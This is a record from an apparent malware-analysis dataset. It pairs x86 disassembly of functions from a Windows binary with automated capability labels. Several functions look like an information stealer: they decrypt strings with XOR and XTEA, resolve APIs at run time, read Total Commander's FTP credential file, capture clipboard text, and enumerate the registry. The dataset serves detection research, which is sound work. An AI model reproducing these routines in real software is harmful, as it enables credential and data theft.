joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430248
Capabilities:
Set socket configuration

Disassembly:
push 0xc
mov eax, 0x46e79d
call fcn.0046c44a
mov dword [ebp - 0x10], ecx
mov esi, dword [ebp + 0xc]
cmp dword [esi], 0xffffffff
je 0x43027e
xor esi, esi
inc esi
call fcn.0042e97e
mov ecx, dword [ebp + 0x1c]
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [ecx], esi
mov dword [ecx + 4], edx
mov dword [eax], esi
mov dword [eax + 4], edx
jmp 0x4303ad
push 1
push 0
push 0
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov ebx, dword [ebp + 0x1c]
mov edi, eax
cmp edi, 0xffffffff
mov ecx, ebx
sete dl
call fcn.0042fbf1
cmp edi, 0xffffffff
jne 0x4302ae
or edi, edi
jmp 0x4302c9
cmp dword [ebp + 0x10], 0x17
jne 0x4302c9
and dword [ebp + 0x10], 0
lea eax, [ebp + 0x10]
push 4
push eax
push 0x1b
push 0x29
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp + 0x1c], edi
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp edi, 0xffffffff
jne 0x4302e8
mov esi, dword [ebp + 8]
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esi], ecx
mov dword [esi + 4], edx
jmp 0x4303a3
mov eax, dword [ebp - 0x10]
push ecx
push ecx
mov eax, dword [eax + 4]
push dword [eax + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
jne 0x430315
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call fcn.0042e8d6
mov dword [ebx], esi
mov esi, dword [ebp + 0xc]
mov dword [ebx + 4], eax
jmp 0x43031f
and dword [ebx], 0
mov dword [ebx + 4], 0x485b38
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
test eax, eax
je 0x430332
mov esi, dword [ebp + 8]
mov dword [esi], eax
mov dword [esi + 4], ecx
jmp 0x4303a3
mov eax, dword [ebp + 0x14]
or dword [ebp + 0x1c], 0xffffffff
mov dword [esi], edi
sub eax, 1
je 0x430351
sub eax, 1
je 0x43034b
mov byte [esi + 4], 0
jmp 0x430355
mov byte [esi + 4], 0x20
jmp 0x430355
mov byte [esi + 4], 0x10
push 0x10
call fcn.00453575
mov edx, eax
xor eax, eax
mov dword [ebp + 0x10], edx
mov edi, edx
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
inc eax
mov dword [edx], vtable.std::_Ref_count_resource_void___struct_asio::detail::socket_ops::noop_deleter_.0
mov dword [edx + 4], eax
mov dword [edx + 8], eax
and dword [edx + 0xc], 0
mov ecx, dword [esi + 0xc]
and dword [esi + 8], 0
mov dword [esi + 0xc], edx
test ecx, ecx
je 0x43038f
call fcn.0042a1eb
mov esi, dword [ebp + 8]
mov eax, 0x485b38
and dword [ebx], 0
mov dword [ebx + 4], eax
and dword [esi], 0
mov dword [esi + 4], eax
lea ecx, [ebp + 0x1c]
call fcn.0043012b
mov eax, esi
call fcn.0046c413
ret 0x18
Function at 0x43e9a7
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [edx]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0xc]
add esi, dword [ebx]
add eax, dword [edx + 8]
add ecx, dword [edx + 0xc]
push edi
mov edi, dword [ebx + 4]
add edi, dword [edx + 4]
cmp dword [ebp - 0xc], 0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], eax
mov dword [ebp + 8], ecx
jbe 0x43ea8b
xor edx, edx
and edx, 3
mov ecx, edi
and ecx, 0x1f
mov eax, edi
shl eax, 4
mov esi, dword [ebx + edx*4 + 0x10]
mov edx, dword [ebx + edx*4]
rol esi, cl
mov ecx, edi
add esi, eax
shr ecx, 0x1b
rol edx, cl
mov eax, edi
mov edi, dword [ebp - 0x10]
shr eax, 5
add edx, eax
mov eax, dword [ebp + 8]
xor esi, edx
mov edx, dword [ebp - 8]
add eax, edx
sub edx, 0x61c88647
xor esi, eax
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add edi, esi
shr edx, 0xb
and edx, 3
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, eax
and ecx, 0x1f
shl eax, 4
mov esi, dword [ebx + edx*4 + 0x10]
mov edx, dword [ebx + edx*4]
rol esi, cl
mov ecx, dword [ebp + 8]
add esi, eax
shr ecx, 0x1b
rol edx, cl
mov ecx, dword [ebp + 8]
mov eax, ecx
shr eax, 5
add edx, eax
mov eax, dword [ebp - 4]
xor esi, edx
mov edx, dword [ebp - 8]
add eax, edx
xor esi, eax
add esi, dword [ebp - 0x14]
sub dword [ebp - 0xc], 1
mov dword [ebp - 0x14], ecx
mov ecx, edi
mov dword [ebp - 4], esi
mov edi, esi
mov dword [ebp + 8], ecx
jne 0x43e9eb
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov eax, dword [ebx + 0x10]
xor eax, esi
mov dword [edx], eax
mov eax, dword [ebx + 0x14]
xor eax, edi
mov dword [edx + 4], eax
mov eax, dword [ebx + 0x18]
xor eax, dword [ebp - 0x14]
mov dword [edx + 8], eax
mov eax, dword [ebx + 0x1c]
pop edi
xor eax, ecx
pop esi
mov dword [edx + 0xc], eax
pop ebx
leave
ret
Function at 0x43eab0
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], ecx
mov eax, edx
imul ecx, ecx, 0x9e3779b9
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, dword [ebx + 0x1c]
mov edx, dword [ebx + 0x18]
mov edi, dword [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
xor edi, dword [eax + 4]
xor ecx, dword [eax]
xor esi, dword [eax + 0xc]
xor edx, dword [eax + 8]
cmp dword [ebp - 0x10], 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edi
mov dword [ebp + 8], ecx
jbe 0x43eb9a
mov edi, esi
mov esi, edx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 8]
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
shr edx, 0xb
mov dword [ebp - 0x14], ecx
and edx, 3
mov ecx, esi
shl eax, 4
and ecx, 0x1f
mov esi, dword [ebx + edx*4 + 0x10]
mov edx, dword [ebx + edx*4]
rol esi, cl
add esi, eax
mov eax, dword [ebp - 4]
mov ecx, eax
shr eax, 5
shr ecx, 0x1b
rol edx, cl
add edx, eax
mov eax, dword [ebp + 8]
xor esi, edx
mov edx, dword [ebp - 8]
add eax, edx
add edx, 0x61c88647
xor esi, eax
mov dword [ebp - 8], edx
sub dword [ebp - 0xc], esi
and edx, 3
mov eax, dword [ebp + 8]
mov ecx, eax
and ecx, 0x1f
shl eax, 4
mov esi, dword [ebx + edx*4 + 0x10]
rol esi, cl
mov ecx, dword [ebp + 8]
add esi, eax
mov eax, dword [ebx + edx*4]
mov edx, dword [ebp - 0xc]
shr ecx, 0x1b
rol eax, cl
mov ecx, dword [ebp + 8]
shr ecx, 5
add eax, ecx
mov ecx, edi
xor esi, eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
xor esi, eax
sub ecx, esi
sub dword [ebp - 0x10], 1
mov esi, dword [ebp - 4]
mov dword [ebp + 8], ecx
jne 0x43eaf4
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
sub esi, dword [ebx + 0xc]
mov dword [eax + 0xc], esi
sub edx, dword [ebx + 8]
mov dword [eax + 8], edx
sub edi, dword [ebx + 4]
mov dword [eax + 4], edi
sub ecx, dword [ebx]
pop edi
pop esi
mov dword [eax], ecx
pop ebx
leave
ret
Function at 0x44006b
Capabilities:
Encode data using xor

Disassembly:
push 0x58
mov eax, 0x46eadd
call fcn.0046c4ec
mov eax, edx
mov dword [ebp - 0x5c], eax
mov esi, ecx
mov dword [ebp - 0x54], esi
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x64], esi
cmp edi, 0xffffffff
je 0x4401fc
cmp byte [0x487234], bl
jne 0x4401fc
mov al, 0x1b
mov dword [ebp - 0x20], 0x6b626958
movsx ecx, al
mov byte [ebp - 0x48], al
mov dword [ebp - 0x1c], 0x3529286f
mov dword [ebp - 0x18], 0x77777f
call fcn.0043e927
mov dword [ebp - 0x54], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x54]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4400c5
push 0xb
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
mov dword [ebp - 0x54], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x54]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4400f9
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
test eax, eax
jne 0x440127
mov eax, ebx
jmp 0x440138
mov dl, byte [ebp - 0x48]
mov ecx, ebx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jb 0x44012c
mov byte [eax + 0xb], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4401f6
movaps xmm0, xmmword [0x47dd50]
mov al, 0x7c
movsx ecx, al
mov byte [ebp - 0x50], al
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x1d08
mov byte [ebp - 0x16], bl
call fcn.0043e927
mov dword [ebp - 0x54], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x54]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x4c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44016f
push 0x12
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x50]
mov dword [ebp - 0x2c], eax
call fcn.0043e927
mov dword [ebp - 0x54], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x54]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x4c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4401a3
push dword [0x4874a0]
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x2c]
call fcn.0043ecf9
test eax, eax
jne 0x4401d1
mov eax, ebx
jmp 0x4401e2
mov dl, byte [ebp - 0x50]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x12
jb 0x4401d6
mov byte [eax + 0x12], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x487230], eax
mov byte [0x487234], 1
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 0x5c]
cmp byte [0x487234], 1
jne 0x440246
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], ebx
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x5c], eax
mov eax, dword [0x487230]
push ecx
mov dword [ebp - 0x60], edi
call eax
test eax, eax
je 0x440242
cmp edi, 0xffffffff
je 0x440242
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
mov byte [ecx + edx], bl
push dword [ebp - 0x54]
jmp 0x44024b
or dword [ebp - 4], 0xffffffff
push 0x478e64
mov ecx, esi
call fcn.00450b02
mov eax, esi
call fcn.0046c439
ret
Function at 0x44077a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ebx
cmovae eax, dword [ebp + 8]
push esi
push 0x47d4bc
push eax
call fcn.004597df
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4407c1
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
push esi
cmovae ecx, dword [ebp + 0x20]
xor ebx, ebx
inc ebx
push ebx
push dword [ebp + 0x30]
push ecx
call fcn.0045a861
push esi
call fcn.0045986d
add esp, 0x14
jmp 0x4407c3
xor bl, bl
lea ecx, [ebp + 8]
call fcn.00450a63
lea ecx, [ebp + 0x20]
call fcn.00450a63
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x4407d9
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0x44
mov eax, 0x46eb5d
call fcn.0046c4ec
mov esi, ecx
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], cl
push ecx
push 0x80
push 3
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
push ecx
cmovae eax, dword [ebp + 8]
push 7
push 1
push eax
mov dword [ebp - 0x48], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4408a0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x50], eax
test eax, eax
je 0x440899
inc eax
push eax
call fcn.00459419
mov edi, eax
pop ecx
test edi, edi
je 0x440899
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x50]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x48]
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x2c]
push edi
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.00450deb
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x44]
call fcn.00450a3b
push edi
call fcn.00458ad4
pop ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.00450a63
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.00450ad1
lea ecx, [ebp - 0x44]
call fcn.00450a63
lea ecx, [ebp + 8]
call fcn.00450a63
mov eax, esi
jmp 0x4408da
call fcn.0046c439
ret
Function at 0x44096b
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x46ebdc
call fcn.0046c44a
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x10], edi
push ecx
mov ebx, 0x100
mov dword [ebp - 4], 1
push ebx
lea ecx, [ebp - 0x20]
call fcn.004504d3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push 0x20119
mov dword [ebp - 0x14], ebx
xor ebx, ebx
push ebx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4409ea
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0x20]
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push ebx
push 2
push eax
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x4409ea
push dword [ebp - 0x20]
jmp 0x4409ef
push 0x478e64
mov ecx, edi
call fcn.00450b02
lea ecx, [ebp - 0x20]
call fcn.004504b4
lea ecx, [ebp + 8]
call fcn.00450a63
lea ecx, [ebp + 0x20]
call fcn.00450a63
mov eax, edi
call fcn.0046c413
ret

Function at 0x440a16
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x150
mov eax, 0x46ec2f
call fcn.0046c4ec
mov edi, edx
mov ebx, ecx
xor esi, esi
mov dword [ebp - 4], esi
push 0x478e64
mov ecx, edi
mov byte [ebp - 4], 2
call fcn.00452304
test al, al
je 0x440b36
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x14c]
push ecx
push 0x20119
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push esi
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x440b36
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x154]
mov dword [ebp - 0x148], esi
push eax
push esi
push esi
lea eax, [ebp - 0x148]
push eax
push esi
push esi
push esi
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [ebp - 0x148]
test eax, eax
je 0x440b36
cmp esi, eax
jae 0x440b36
xor eax, eax
mov dword [ebp - 0x150], 0xff
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp + 0x20]
call fcn.00452304
test al, al
je 0x440b4c
push 0x47d4c0
lea edx, [ebp + 8]
lea ecx, [ebp - 0x12c]
call fcn.004512f8
pop ecx
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 3
push ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.00451348
pop ecx
push eax
mov ecx, edi
call fcn.00450a86
lea ecx, [ebp - 0x144]
call fcn.00450a63
lea ecx, [ebp - 0x12c]
call fcn.00450a63
lea ecx, [ebp + 8]
call fcn.00450a63
lea ecx, [ebp + 0x20]
call fcn.00450a63
call fcn.0046c439
ret
sub esp, 0x18
lea eax, [ebp + 0x20]
mov ecx, esp
mov dword [ebp - 0x158], esp
push eax
call fcn.00450b37
push 0x47d4c0
lea edx, [ebp + 8]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x12c]
call fcn.004512f8
pop ecx
sub esp, 0x18
mov byte [ebp - 4], 5
lea edx, [ebp - 0x114]
mov ecx, esp
push edx
mov edx, eax
call fcn.00451348
pop ecx
mov edx, edi
mov byte [ebp - 4], 6
mov ecx, ebx
call fcn.00440a16
add esp, 0x30
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x12c]
call fcn.00450a63
mov eax, dword [ebp - 0x148]
inc esi
jmp 0x440aa5
Function at 0x440dbc
Capabilities:
Encode data using base64

Disassembly:
push 0x18
mov eax, 0x46ecca
call fcn.0046c44a
mov dword [ebp - 0x20], edx
mov edi, ecx
mov dword [ebp - 0x1c], edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov eax, dword fs:[0x2c]
mov esi, dword [eax]
mov eax, dword [0x487504]
cmp eax, dword [esi + 4]
jle 0x440e27
mov esi, 0x487504
push esi
call fcn.0045349f
cmp dword [0x487504], 0xffffffff
pop ecx
jne 0x440e27
push str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 0x487524
mov dword [ebp - 4], 1
call fcn.00450b02
push 0x471469
call fcn.004538f6
push esi
call fcn.00453455
pop ecx
pop ecx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
mov eax, dword [ebp + 8]
mov edi, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], 1
test eax, eax
je 0x440f99
push 3
pop esi
mov ecx, dword [ebp - 0x20]
dec eax
mov dword [ebp + 8], eax
mov al, byte [ecx]
inc ecx
mov byte [ebp + edi - 0x14], al
inc edi
mov dl, byte [ebp - 0x13]
mov dword [ebp - 0x20], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x440ee2
mov esi, dword [ebp - 0x1c]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
and ch, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], ch
cmp dword [0x487538], 0x10
mov ecx, 0x487524
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x487524]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.004509d5
inc edi
cmp edi, 4
jl 0x440eaa
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop esi
mov eax, dword [ebp + 8]
test eax, eax
jne 0x440e4d
mov dword [ebp + 8], edi
test edi, edi
je 0x440f99
mov eax, edi
cmp edi, esi
jge 0x440f18
cmp eax, esi
jae 0x440fa2
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x440f00
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x440f84
mov esi, dword [ebp - 0x1c]
mov edi, eax
cmp dword [0x487538], 0x10
mov ecx, 0x487524
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x487524]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.004509d5
inc ebx
cmp ebx, edi
jl 0x440f55
mov edi, dword [ebp + 8]
push 3
pop esi
cmp edi, esi
jge 0x440f99
sub esi, edi
mov ecx, dword [ebp - 0x1c]
push 0x3d
call fcn.004509d5
sub esi, 1
jne 0x440f8a
mov eax, dword [ebp - 0x1c]
call fcn.0046c413
ret
call fcn.00453287
int3
Function at 0x44384e
Capabilities:
Set current directory

Disassembly:
push 0x58
mov eax, 0x46f2d9
call fcn.0046c4ec
xor esi, esi
mov dword [ebp - 0x64], esi
push str.TRUE
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.00452304
test al, al
jne 0x4439b9
cmp dword [0x487220], esi
jne 0x4439c0
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x64], 1
push ecx
push 0x104
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.004507b5
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
call fcn.00454e55
push ecx
mov esi, eax
lea ecx, [ebp - 0x2c]
push esi
mov ebx, edx
call fcn.004507b5
cmp esi, edi
jae 0x4438ac
mov byte [ebp - 4], 1
test ebx, ebx
jne 0x443a03
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0045137b
lea ecx, [ebp - 0x2c]
call fcn.00450c8d
mov byte [ebp - 4], 5
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmovae eax, dword [ebp + 8]
push eax
call edi
mov eax, dword [0x487270]
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5c]
push dword [eax + 0x18]
call fcn.004512f8
pop ecx
mov byte [ebp - 4], 6
cmp dword [eax + 0x14], 0x10
jb 0x44392c
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x5c]
mov dword [0x487220], eax
mov byte [ebp - 4], 5
call fcn.00450a63
mov ecx, dword [0x487220]
test ecx, ecx
je 0x4439a3
mov eax, dword [0x487270]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [eax + 0x1c]
push ecx
call esi
mov dword [0x487240], eax
mov eax, dword [0x487270]
push dword [eax + 0x24]
push dword [0x487220]
call esi
mov dword [0x487264], eax
mov eax, dword [0x487270]
push dword [eax + 0x28]
push dword [0x487220]
call esi
mov dword [0x487238], eax
mov eax, dword [0x487270]
push dword [eax + 0x20]
push dword [0x487220]
call esi
mov dword [0x48725c], eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push eax
call edi
lea ecx, [ebp - 0x44]
call fcn.00450a63
cmp dword [0x487220], 0
lea ecx, [ebp + 8]
setne bl
call fcn.00450a63
mov al, bl
call fcn.0046c439
ret
mov edx, ebx
mov ecx, str.current_path__
call fcn.0043f65c
int3
Function at 0x44bd16
Capabilities:
Encode data using xor

Disassembly:
push 0x80
mov eax, 0x470567
call fcn.0046c4ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
push str.GHISLERwcx_ftp.ini
mov edx, 0x485b90
call fcn.004512f8
pop ecx
mov byte [ebp - 4], 1
lea edx, [ebp - 0x2c]
mov byte [ebp - 0x8c], 0
lea ecx, [ebp - 0x88]
push dword [ebp - 0x8c]
call fcn.00452662
pop ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 2
call fcn.0043ff6d
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 1
mov bl, al
call fcn.00450c8d
test bl, bl
je 0x44be61
cmp dword [ebp - 0x18], 0x10
lea esi, [ebp - 0x2c]
movaps xmm0, xmmword [str.___3__]
mov al, 0x6f
cmovae esi, dword [ebp - 0x2c]
xor ebx, ebx
movsx ecx, al
mov byte [ebp - 0x70], al
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x930170c
mov dword [ebp - 0x34], 0x6411f1b
mov word [ebp - 0x30], 0x601
mov byte [ebp - 0x2e], bl
call fcn.0043e927
mov dword [ebp - 0x8c], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x8c]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x6c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44bdc8
push 0x1a
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x70]
mov dword [ebp - 0x4c], eax
call fcn.0043e927
mov dword [ebp - 0x8c], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x8c]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x6c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44be02
push dword [0x4874a0]
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x4c]
call fcn.0043ecf9
test eax, eax
jne 0x44be33
mov eax, ebx
jmp 0x44be44
mov dl, byte [ebp - 0x70]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x1a
jb 0x44be38
mov byte [eax + 0x1a], bl
mov ecx, dword [0x48726c]
mov edx, eax
push 2
push ebx
push esi
call fcn.0042dc39
add esp, 0xc
mov byte [0x487268], 1
jmp 0x44be63
xor ebx, ebx
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
call fcn.00450a63
call fcn.0046c439
ret

Function at 0x44be87
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x44bef0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x44bef0
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x44bee9
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x44bee2
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44bec1
sub ecx, edi
push 3
push ecx
mov ecx, dword [0x48726c]
push edx
mov edx, str.Clipboard.txt
call fcn.0042dc39
add esp, 0xc
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
ret
Function at 0x464abd
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00464610